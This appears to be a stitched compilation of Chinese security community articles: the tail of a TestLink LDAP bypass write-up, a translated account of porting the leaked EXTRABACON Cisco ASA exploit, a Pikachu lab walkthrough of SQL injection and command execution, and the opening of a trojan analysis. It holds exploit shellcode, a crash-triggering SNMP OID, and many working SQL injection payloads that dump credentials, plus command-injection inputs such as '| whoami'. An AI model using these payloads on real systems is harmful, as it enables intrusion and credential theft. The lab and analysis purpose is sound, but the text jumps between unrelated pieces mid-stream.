$authCfg['ldap'][$check->ldap_index]);
$user->emailAddress = $uf->emailAddress;
$user->firstName = $uf->firstName;
$user->lastName = $uf->lastName;
}
}
}
if( $forceUserCreation ) {//【在DB中添加用户+默认密码】
这个例子，不禁让我想起Sam Curry在他那篇《We Hacked Apple for 3 Months...》中的漏洞，(Full Compromise
of Apple Distinguished Educators Program via Authentication and Authorization
Bypass)[<https://samcurry.net/hacking-apple/#vuln1>]
只不过那个场景更加明显，是在Form中携带了硬编码的密码。
但漏洞的原理都是一样的，开发者希望在不同的认证间做同步。
# 0x04 总结&&闲聊
## 总结
简单总结了以下登录的过程
## 闲聊
开源项目，很多都是“用爱发电”，，以TestLink为例，从2011年就开始开发了,
十年转瞬烟云，很多代码，连开发者自己都忘了吧。
更别提写代码的时候还可能犯困
(I'm very tired)......
而且LDAP注入的转义函数，开发是定义了的呀，为啥没用上。。。
# lib/functions/ldap_api.php
/**
* Escapes the LDAP string to disallow injection.
*
* @param string $p_string The string to escape.
* @return string The escaped string.
*/
function ldap_escape_string( $p_string )
{
$t_find = array( '\\', '*', '(', ')', '/', "\x00" );
$t_replace = array( '\5c', '\2a', '\28', '\29', '\2f', '\00' );
$t_string = str_replace( $t_find, $t_replace, $p_string );
return $t_string;
}
所以也是想分享一下体会：刚开始时，大可不必妄自菲薄，哪怕有文化差异（TestLink的界面不怎么符合我审美），慢慢钻进去，不断分析，肯定能找到漏洞的。
# 0x04 参考资料
* <https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html>
* <https://samcurry.net//#vuln1>
* <https://github.com/TestLinkOpenSourceTRMS/testlink-code/pull/316> | 社区文章 |
# 简单四步，教你自己动手移植思科ASA EXP支持9.2(4) 版本
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://blog.silentsignal.eu/2016/08/25/bake-your-own-extrabacon/>
译文仅供参考，具体内容表达以及含义原文为准。
在过去的几天里,我们仔细分析了由Shadow
Brokers泄露的国安局漏洞利用代码EXTRABACON。根据XORcat得出的初步分析,这个利用代码能够利用SNMP服务中的内存崩溃漏洞绕过思科ASA设备的身份验证。我们在实验室里对这段代码进行了分析和测试,甚至进行了修改使其能够应用到9.2
(4)
版本。不过，在官方未发布修复补丁之前我们不打算公开这个升级代码。在这篇文章中，我们希望对移植过程进行一个详细的描述:移植的先决条件是什么,需要付出多少努力来扩展功能。同时我们也希望这篇总结能够给那些开始研究思科ASA的人们提供一个很好的资源。
**思科ASA是什么？**
思科自适应安全设备(ASA)是一种广泛采用的网络安全设备,除了提供标准数据包过滤功能,还提供了一个“智能”的组合,应用程序级的功能比如L7协议检验或VPN等。这个复杂的功能集大概是思科选择32位x86处理器来实现的原因之一。
供应商的主页数据显示有超过100万的这种设备部署在世界各地。
广泛部署,加上其体系结构的复杂性（很可能存在很多bug）使得思科ASA成为了黑客们梦寐以求的攻击对象。
**
**
**测试准备工作**
开始研究ASA最好有一些实际的硬件。幸运的是，ASA 5505在在线拍卖网站上可以以相对便宜的价格找到。
当拥有了硬件，你可能对它的配置毫无头绪，这个时候，你应该建立一个串行连接,从而在没有密码的情况下重置配置和访问控制台。因此你需要一个思科控制台连接线(RJ45-to-DB9)和一个RS232-USB转换器。通过这些你可以将设备的控制台端口连接到你的工作站上的USB端口。在Linux上你可以使用调制解调器通信程序（minicom）连接到控制台,连接参数有:
9600 baud、Parity:8N1
连接完毕之后，你可以检查固件版本并对设备进行配置。对我们来说，配置IP网络接口,允许SSH和SNMP是很重要的。
安装新的固件,你首先需要匹配的固件二进制文件。版本9.2(4) 映像文件的名称为asa924-k8.bin。可以使用SCP将新的固件上传到设备的内部闪存中:
scp asa924-k8.bin [email protected]:/asa924-k8.bin
启动顺序可以根据官方手册（https://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-firewalls/200142-ASA-9-x-Upgrade-a-Software-Image-using.html）配置。
拥有了首选的固件版本和串行连接之后，你就可以通过发送下面的长SNMP OID来验证EXTRABACON造成的内存损坏利用:
1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.16.204.71.173.53.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144
这可能会导致访问冲突,并会在串行控制台上输出一些基本的调试信息。
**
**
**远程调试**
远程调试的配置参考的是Alec Stuart
的教程（https://www.youtube.com/watch?v=KXqrovapQ5A）,我们现在只是给出一个快速概述的过程。
ASA运行一个类似linux的操作系统，称为lina，固件映像文件包含根文件系统的所有二进制文件和配置文件——可以用binwalk提取:
$ binwalk -e asa924-k8.bin
DECIMAL HEX DESCRIPTION
------------------------------------------------------------------------------------------------------------------- 514 0x202 LZMA compressed data, properties: 0x64, dictionary size: 2097152 bytes, uncompressed size: 1048576 bytes
144510 0x2347E gzip compressed data, from Unix, last modified: Wed Jul 15 06:53:23 2015, max compression
1500012 0x16E36C ELF
1501296 0x16E870 gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 07:19:52 2015
28192154 0x1AE2D9A Zip archive data, at least v2.0 to extract, name: "com/cisco/webvpn/csvrjavaloader64.dll"
28773362 0x1B70BF2 Zip archive data, at least v2.0 to extract, name: "AliasHandlerWrapper-win64.dll"
我们将Alec演示的repack.sh脚本修改为了:
1.从固件的映像中自动发现和修改rootfs.img
2.解压缩
3.替换rcS，这样在调试模式下会启动lina
4.重新打包rootfs
5.使用dd把新的rootfs归档到固件的二进制文件中
替换设备上的原有固件映像之后，lina开始等待启动时的GDB附加:
Process /asa/bin/lina created; pid = 518Remote debugging using /dev/ttyS0
继续执行,作为根用户启动GDB,并串行附加到目标上:
(gdb) target remote /dev/ttyUSB0
现在你可以交互式地调试你的设备了。
**
**
**分析与修改**
当我们开始处理EXTRABACON时，我们的主要问题是了解将其扩展到支持新的固件版本有多难。出于这个原因,我们采取了一个“hacky”方法寻找最简单的方法来解决这个问题,而不太关心思科的内部解析或其他细节。
首先让我们看一下目录结构:.
├── extrabacon_1.1.0.1.py
├── Mexeggs
│ ├── all.py
│ ├── argparse.py
│ ├── hexdump.py
│ ├── __init__.py
│ ├── loglib.py
│ ├── log.py
│ ├── sploit.py
│ └── version.py
├── scapy
...
└── versions
├── shellcode_asa802.py
...
└── shellcode_asa844.py
我们可以看到,不同版本的shellcode都是单独存储在目录下的versions文件夹中,主要利用代码是一个单独的Python文件——extrabacon_1.1.0.1.py。
Mexeggs是漏洞利用的“迷你框架”:它定义了标准接口，处理一些常见的任务，如参数解析和日志记录(默认的日志目录是D:DSZOPSDisklogs,日志存储在代号为“concernedparent”的目录中)。
因为是模块化的，所以一旦我们修复了Extrabacon.fw_version_check()函数中的版本检测功能，我们的主要关注点就是主利用脚本。
让我们来看看shellcode脚本！下图是版本8.0(2)和8.4(4)之间的对比:
我们可以看到，这两个版本的shellcode大部分是相同的,只有2 –
4字节的差异。每一个版本的my_ret_addr值有明显的差异,但凡做过这种类型开发的人都会非常高兴看到这个变量名（或值）:在版本检测代码中添加了两行之后，我们在versions目录下拷贝了一个原始的shellcode代码，将其命名为shellcode
shellcode_asa924.py，然后将my_ret_addr的值设为 0
x41414141。这个利用正式启动后,我们获得了一个不错的小SIGSEGV信号:
Program received signal SIGSEGV, Segmentation fault.[Switching to Thread 523]0x41414141 in ?? ()(gdb) info regeax 0x0 0ecx 0xcbd65a48 -875144632edx 0x0 0ebx 0x90909090 -1869574000esp 0xccb980e0 0xccb980e0ebp 0x90909090 0x90909090esi 0x90909090 -1869574000edi 0x90909090 -1869574000eip 0x41414141 0x41414141eflags 0x213246 [ PF ZF IF #12 #13 RF ID ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51(gdb)
的堆缓冲区溢出。思科并没有对该利用采取任何缓解措施,每一个固件版本的系统内存布局也都是一样的。
对内存进行一个快速检查之后发现,shellcode的其他部分代码出现在了堆栈上,就像一个范例，ESP正好指向脚本中称为find的第二个片段——这个指令的反汇编结果如下所示:
$ rasm2 -d "x8bx7cx24x14x8bx07xffxe0x90"
mov edi, dword [esp + 0x14]
mov eax, dword [edi]
jmp eax
nop
这个简单的代码间接引用了堆栈上的一个指针两次。这段代码不需要修改就可以重用，并且在我们的测试中100%可靠,我们只需要将my_ret_addr的值设置为一个修改的地址，这个地址指向9.2(4)
lina二进制文件中的jmp esp指令。第二个片段的代码也很简单:
[源代码]
mov eax, 0xad47cc10
xor eax, 0xa5a5a5a5 ; EAX=8E269B5
sub esp, 4
mov dword [esp], eax
mov ebp, esp
add ebp, 0x48
xor eax, eax
xor ebx, ebx
mov bl, 0x10
xor esi, esi
mov edi, 0xaaaaaaae
xor edi, 0xa5a5a5a5 ; EDI=F0F0F0B
push al
[源代码]
这段代码修复损坏的堆栈帧，然后将一些常量(其中一个看起来像一个代码指针)推入堆栈。在这之后,启动程序执行:
[源代码]
mov eax, dword [esp + 0x1e8]
add al, 1
call eax
[源代码]
这几行代码从堆栈中读取一个指针,调整一下然后调用生成的地址。因为不知道我们正在寻找的是什么样的指针，所以我们上传了旧的固件，然后从0xcc操作码处开始修改相应的shellcode碎片，这触发了一个内存跳转。这样我们发现地址启动器指向我们的第一个实际载荷PMCHECK_disable。由于启动器不工作,所以我们开始在ESP附近的内存去搜寻负载的标识。我们最初使用0xa5a5a5a5模式,然后用更长的模式缩小搜索。找到负载的开始后,我们寻找堆栈上附近的值。
负载实际上由两部分组成,PMCHECK_disable和AAAADMINAUTH_disable，这两个的工作方式非常相似,所以我们现在先讨论其中的一个:
[源代码]
mov edi, 0xa5a5a5a5
mov eax, 0xa5a5a5d8
xor eax, edi ; EAX=7D
mov ebx, 0xacf065a5
xor ebx, edi ; EBX=955C000
mov ecx, 0xa5a5b5a5
xor ecx, edi ; ECX=1000
mov edx, 0xa5a5a5a2
xor edx, edi ; EDX=7
int 0x80 ; SYSCALL
jmp 0x39
mov edi, 0x955c9f0 ; ADDRESS TO PATCH
xor ecx, ecx
mov cl, 4
cld
rep movsb byte es:[edi], byte ptr [esi] ; BUFFER COPY
jmp 0x42
pop esi
jmp 0x25
call 0x36
xor eax, eax ; PATCH CODE
inc eax
ret
[源代码]
第一部分再次揭露了一些常量值然后触发了系统调用。EAX中的系统调用标识符按照惯例设定,我们主要做的实际上是设置一个包含0x955c9f0的可写内存页面:
sys_mprotect(start=0x955C000, len=0x1000, prot=0x7)
幸运的是，相应的固件是公开的,提取和反汇编之后很明显就可以发现这个地址是一个负责身份验证检查的函数的入口点。然后用rep
movsb指令将Shellcode的结尾复制到这个地址,最后shellcode向前执行AAAADMINAUTH_disable的有效载荷部分,这和固件的AAA
API功能相似。这样的话，关键的身份验证检查结果将始终返回SUCCESS,导致身份验证绕过。
请注意,我们现在拥有任意的可执行代码,所以这个拼凑只是我们可以做的其中之一。不幸的是,
在ASA上用shellcode影响网络并不繁琐,所以这个解决方案似乎是合理的,既紧凑又容易在新目标上采用。
我们利用这个代码在更新的固件中查找修补功能。虽然子图同构是一个困难的问题,但是在实践中可以基于调试字符串和“独特的”代码模式来识别相同的代码部分。在IDA中匹配函数在视觉上非常相似,一旦发现就很容易认出他们。此外,有效载荷的伟大之处是,在找到匹配的入口点之后,我们只需要修改两个常数就完成了。
还记得之前提到的那个像一个代码指针的常量吗？这实际上就是我们准备利用的地址。如果我们返回去看一看原始lina的反汇编结果,我们可以看到,这个地址正好在一个函数调用之后,它可能会调用一个函数,这正是在漏洞发生的地方,之后我们可能会当做什么也没发生一样继续执行。其实移植的过程是一样的:在新版本的二进制文件中查找相同的函数,然后修改前面提到的常量地址,然后我们的漏洞利用就如期工作了。
**
**
**总结**
总之,想要修改ASA利用使其支持一个新版本需要:
1.找到一个JMP ESP地址
2.修改堆栈偏移值
3.修改两个硬编码函数入口地址
4.修改硬编码的返回地址
步骤1、3和4通过静态分析可以自动执行。在我们的例子中步骤2需要进行一些调试,但更好的理解代码之后，可以完全自动化地生成shellcode。事实上,泄露的shellcode文件有一条注释“该文件是自动生成的”。
同样重要的是,我们在没有详细的根本原因分析,特殊的工具或源代码,只是基于泄露的代码、通过调试和简单的静态二进制分析的情况下就创建了新的利用版本。
**
**
**检测、缓解、解决方案**
思科已经发布了一个关于EXTRABACON漏洞利用的详细博文和安全公告，确认了所有支持的版本都是易受攻击的。在撰写本文时还没有可用的补丁,供应商建议限制对SNMP接口的访问，建立一个难以猜测的社区字符串。在这些解决方法中有两点需要注意:
1.SNMP是一个基于UDP的协议,允许简单的源地址欺骗。在设计/评估网络级别的解决方法时应该牢记这一点。
2.社区字符串在网络上以纯文本的方式传输。我们不期望常见的社区字符串在短时间内消失。
这篇文章出版之前,思科已经开始对某些固件版本推出修复补丁——一定要在你的设备上进行这些修复以阻止基于EXTRABACON的攻击！随着供应商开始系统地消除漏洞,我们期望最新的补丁不仅仅包括对这个漏洞的修复。从长远来看，应用于ASA软件的最新的漏洞利用缓解技术应该为平台提供可伸缩性的保护,修复整个漏洞集合并提高攻击者的成本。 | 社区文章 |
# 4.SQL-Inject
## 1.Sql Inject(SQL注入)概述
Sql Inject(SQL注入)概述
在owasp发布的top10排行榜里，注入漏洞一直是危害排名第一的漏洞，其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞，可能会直接导致一家公司破产！
SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。
从而导致数据库受损（被脱裤、被删除、甚至整个服务器权限沦陷）。
在构建代码时，一般会从如下几个方面的策略来防止SQL注入漏洞：
1.对传进SQL语句里面的变量进行过滤，不允许危险字符传入；
2.使用参数化（Parameterized Query 或 Parameterized Statement）；
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
## 2.数字型注入(post)
由题可知是数字型注入(post)
查看代码，发现代码对id没有做任何过滤
点击查询抓包，
id=1' 报错，可判断存在SQL注入
判断字段数
id=1 order by 3报错
id=1 order by 2有回显，所以字段数为2
判断回显点，可以在1和2这两处位置，获得我们想要的信息
id=1 union select 1,2
查看用户名和数据库名，可知用户名为root@localhost，数据库名为pikachu
id=1 union select user(),database()
查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind
id=1 union select 1,goup_concat(table_name) from information_schema.tables
where table_schema='pikachu'
查询数据表users中的字段
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level
id=1 union select 1,group_concat(column_name) from information_schema.columns
where table_name='users'
查询字段username和password的内容
id=1 union select group_concat(username),group_concat(password) from users
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
## 3.字符型注入(get)
由题可知是字符型注入(get)，可直接在url中的name参数后进行修改
输入'点击查询，报错，判断存在SQL注入
/vul/sqli/sqli_str.php?name=%27&submit=查询
可以用-- q对'进行闭合
输入name=' or 1=1-- q,可查询出所有账户数据
判断字段数
' order by 2 -- q
有回显
' order by 3 -- q
报错，所以字段数为2
判断回显点,可以在1和2这两处位置，获得我们想要的信息
' union select 1,2 -- q
查看用户名和数据库名，可知用户名为root@localhost，数据库名为pikachu
' union select user(),database() -- q
查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind
' union select 1,group_concat(table_name) from information_schema.tables where
table_schema='pikachu' -- q
查询数据表users中的字段 id,username,password,level,id,username,password
' union select 1,group_concat(column_name) from information_schema.columns
where table_name='users' -- q
查询字段username和password的内容
' union select group_concat(username),group_concat(password) from users -- q
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
## 4.搜索型注入
由题可知是搜索型注入(get)，可直接在url中的name参数后进行修改
输入'点击查询，报错，判断存在SQL注入
/vul/sqli/sqli_str.php?name=%27&submit=查询
可以用-- q对'进行闭合
输入name=' or 1=1-- q,可查询出所有账户数据
判断字段数
' order by 3 -- q
有回显
' order by 4 -- q
报错，所以字段数为3
判断回显点,可以在1,2,这三处位置，获得我们想要的信息
' union select 1,2,3 -- q
中间内容和字符型注入(get)类似，只是多了一个回显点，在此不再赘述
直接查询字段username和password的内容
' union select 1,group_concat(username),group_concat(password) from users -- q
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
## 5.xx型注入
输入'报错，此处存在SQL注入漏洞，观察报错信息，出现)
/vul/sqli/sqli_str.php?name=%27&submit=查询
输入')-- q,成功闭合
判断字段数
') order by 2 -- q
有回显
') order by 3 -- q
报错，所以字段数为2
中间内容和字符型注入(get)类似，只是多加一个)进行闭合，在此不再赘述
直接查询字段username和password的内容
') union select group_concat(username),group_concat(password) from users -- q
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
## 6.insert&update注入
insert/update是插入和更新的意思，这两个场景的注入，post数据包里的每一个参数都可以注入
### insert注入
首先在注册的时候抓包分析。
username=' 报错，可判断存在SQL注入
本题运用报错注入的方法进行解答
查询用户名root@localhost
username=' or updatexml(1,concat(0x7e,(select user())),1),1) -- q
查询数据库名pikachu
username=' or updatexml(1,concat(0x7e,(select database())),1),1) -- q
其他payload：
如果用-- q闭合的话，需要多加,1) 如果用or'闭合的话则不需要
可以是concat(0x7e,(select database())) 也可以是concat(0x7e,(select database()),0x7e)
username=' or updatexml(1,concat(0x7e,(select database())),1)or'
username=' or updatexml('~',concat(0x7e,(select database())),'~')or'
username=' or updatexml('~',concat(0x7e,(select database())),'~'),1)-- q
username=' or updatexml('~',concat(0x7e,(select database()),0x7e),'~')or'
updatexml函数可以替换为extractvalue函数，并且updatexml(1,concat(x),1)中后面的1或者~不能去掉，而extractvalue(1,concat(x))中没有后面的1或者~
如果用-- q闭合的话，需要多加,1) 如果用or'闭合的话则不需要，注意分情况讨论，具体情况具体分析，多试一试就完事
username=' and extractvalue(1,concat(0x7e,(select database())))and'
username=' and extractvalue(1,concat(0x7e,(select database())),1)and'
username=' and extractvalue('~',concat(0x7e,(select database())))and'
username=' and extractvalue(1,concat(0x7e,(select database()))),1)-- q
username=' and extractvalue('~',concat(0x7e,(select database()))),1)-- q
查询数据库pikachu下的所有表名httpinfo,member,message,users,x发现不能全部显示
username=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),1)or'
在这一步可以使用left，mid，right来进行分段显示，将得到的信息进行拼接，下图中的22是从右往左显示22个字符，所有表名httpinfo,member,message,users,xssblind
username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or'
还可以用limit函数逐个读取数据库中的表名
username=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)or'
查询users表中的字段名id,username,password,level,id,u
username=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)or'
查询users表中所有的字段名id,username,password,level,id,username,password
username=' or updatexml(1,concat(0x7e,right((select group_concat(column_name) from information_schema.columns where table_name='users'),22)),1)or'
还可以用limit函数逐个读取users表中的字段名
username=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)or'
直接查询字段username的内容admin,pikachu,test
username=' or updatexml(1,concat(0x7e,(select group_concat(username) from
users)),1)or'
直接查询字段passowrd的内容,因为字符数量比较多，所以直接用limit函数读取
username=' or updatexml(1,concat(0x7e,(select password from users limit
0,1)),1)or'
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
### update注入
首先利用已知的账号kobe，密码123456登录
点击修改个人信息，点击submit，抓包
sex=' 报错，可判断存在SQL注入
中间过程和insert注入类似，只是注入参数变成了sex
直接查询字段username的内容admin,pikachu,test
sex=' or updatexml(1,concat(0x7e,(select group_concat(username) from
users)),1)or'
直接查询字段passowrd的内容,因为字符数量比较多，所以直接用limit函数读取
sex=' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or'
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
## 7.delete注入
查看源码，没有对GET参数获取到的id进行任何处理，直接拼接，进行删除
输入1，点击submit，再点击删除，抓包
修改id=58',报错，可判断存在SQL注入
可以直接在url进行操作，查询数据库名pikachu
/vul/sqli/sqli_del.php?id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)
中间内容和insert&updatexml内容类似，只是不需要闭合单引号，在此不做过多赘述
直接查询字段username的内容admin,pikachu,test
%20or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)
直接查询字段passowrd的内容,因为字符数量比较多，所以直接用limit函数读取
%20or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
## 8.http header注入
输入admin/123456，点击login登录
通常情况下，页面返回信息有user agent数据的，将http头中的user-agent和accept带入了SQL查询，如果没过滤就会存在http
header注入
刷新页面抓包，Accept也可进行注入
修改User-Agent: ' 报错，可以判断此处存在SQL注入
查询数据库名
' or updatexml(1,concat(0x7e,(select database())),1)or'
中间过程和insert/update注入一样，只是注入参数修改为User-Agent,在此不再赘述
直接查询字段username的内容admin,pikachu,test
' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'
直接查询字段passowrd的内容,因为字符数量比较多，所以直接用limit函数读取
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or'
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
## 9.盲注(base on boolian)
由题可知是布尔盲注，只会返回True或者False，不会返回报错信息
输入lucy，点击查询,返回True，输入lucy'返回False，说明此处存在SQL注入
判断当前数据库的长度，大于6不大于7，所以长度为7，可以用burp的intruder
lucy' and length(database())>7-- q，False
lucy' and length(database())>6-- q，True
判断库名第一个字母为p，True
lucy' and (substr(database(),1,1))='p'-- q
以此类推，数据库名为pikachu
判断表名第一个表的第一个字母为h，True
lucy' and (substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))='h'-- q
以此类推，所有表名为httpinfo,member,message,users,xssblind
判断users表中第一个字段的第一个字母是i，True
lucy' and (substr((select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1),1,1))='i'-- q
以此类推，所有字段名为id,username,password,level,id,username,password
判断username中第一个内容的第一个字母为a，True
lucy' and (substr((select username from users limit 0,1),1,1))='a'-- q
以此类推
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
## 10.盲注(base on time)
由题可知是延时注入
使用sleep()函数：输入
kobe%27+and+sleep%283%29--%20q
页面延时3秒返回，说明此处存在延时注入漏洞
判断当前数据库名长度为7，页面没有延时，说明数据库长度为7
kobe%27+and sleep(if((length(database())=7),0,3))--%20q
判断库名第一个字母为p，页面没有延时，说明数据库第一个字母为p
kobe' and if(substr(database(),1,1)='p',0,sleep(3))-- q
kobe' and if(ascii(substr(database(),1,1))=ascii('p'),0,sleep(3))-- q
kobe' and sleep(if(ascii(substr(database(),1,1))=ascii('p'),0,3))-- q
以此类推，数据库名为pikachu
判断表名第一个表的第一个字母为h，页面没有延时，说明第一个表的第一个字母为h
kobe' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='h',0,sleep(3))-- q
kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=ascii('h'),0,sleep(3))-- q
kobe' and sleep(if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='h',0,3))-- q
以此类推，所有表名为httpinfo,member,message,users,xssblind
判断users表中第一个字段的第一个字母是i，页面没有延时，users表中第一个字段的第一个字母是i
kobe' and if(substr((select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit
0,1),1,1)='i',0,sleep(3))-- q
以此类推，所有字段名为id,username,password,level,id,username,password
判断username中第一个内容的第一个字母为a，页面没有延时，username中第一个内容的第一个字母为a
kobe' and if(substr((select username from users limit
0,1),1,1)='a',0,sleep(3))-- q
以此类推
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
## 11.宽字节注入
由题可知是宽字节注入，简单来说就是数据库用了GBK编码，\转义了'
,\的GBK编码是%5c,而%df%5c是一个繁体字“連”，可以输入%df吃掉%5c,此时单引号逃逸就可以发挥作用了
输入kobe%df' or 1=1-- q，点击查询，抓包，可以查询出所有用户的数据
pikachu的宽字节靶场无法判断字段数，根据之前的经验，直接进入下一步
判断回显点可以在1和2这两处位置，获得我们想要的信息
kobe%df' union select 1,2-- q
中间的过程和字符型(get）注入类似，只是需要%df来逃逸单引号，在此不再赘述
直接查询字段username和password的内容
kobe%df' union select group_concat(username),group_concat(password) from users
-- q
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
# 5.RCE
## 1.RCE(remote commandcode execute)概述
RCE(remote command/code execute)概述
RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。
远程系统命令执行
一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。
而如果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交“意想不到”的命令，从而让后台进行执行，从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。
在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此，如果需要给前端用户提供操作类的API接口，一定需要对接口输入的内容进行严格的判断，比如实施严格的白名单策略会是一个比较好的方法。
## 2.exec ping
因为靶场环境是ubuntu
使用管道符 | 执行 ping x.x.x.x | whoami 相当于执行了两个命令 但是最终会显示 whoami 命令的结果
后台命令代码类似于shell_exec('ping -C 4'.$ip)，造成了RCE远程系统命令执行
输入x.x.x.x | whoami命令
输入x.x.x.x | ls命令
## 3.exec eval
查看源代码，发现内容提交后直接传入 @!eval中 ，如果不报错就会执行 ，如果报错就会输出一句话
所以我们可以利用这个漏洞执行代码语句
输入phpinfo(); 发现输出了phpinfo页面
将用户输入的字符串当做php脚本了解析执行, 并且没有做严格的过滤处理, 导致了漏洞的产生
查看请求头可知请求类型为POST, 对应的参数为txt:
利用蚁剑进行连接
修改请求头的submit参数
成功连接
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 伪装迅雷破解版网银盗号木马深度追踪
##### 译文声明
本文是翻译文章，文章原作者 360安全卫士
译文仅供参考，具体内容表达以及含义原文为准。
**作者：360安全卫士**
**投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿**
##
## 前言
近期360安全卫士拦截到了网银盗号木马，该木马伪装成加速器账号助手、迅雷VIP破解版、DNF连发工具等文件，在各大下载站发布，一旦运行，就会导致用户电脑被远程控制网银账户被盗取，经过深入的分析和追踪，最终定位到了木马作者。
## 木马传播过程
木马伪装成迅雷破解版，挂在下载站诱导用户下载。
用户从下载站下载的是一个压缩包，解压后的文件迅雷9.exe实际是木马作者编写的恶意文件。
运行上图中的迅雷9.exe会调用Program目录下的迅雷官方文件，并弹出如下界面迷惑用户。
运行迅雷VIP破解版后会偷偷释放出三个隐藏文件TencentMusic.exe、QQMusic.dll和gif.txt。
这三个文件使用白加黑技术来躲避查杀，其中白程序TencentMusic.exe运行后会加载QQMusic.dll文件，QQMusic.dll文件会解密gif.txt，在内存解密执行一个后门程序。主要流程如下：
## 样本分析
### dll分析
QQMusic.dll文件会读取gif.txt文件的内容到内存解密执行
gif.txt是加密的， 在内存中解密出一个PE文件，如下：
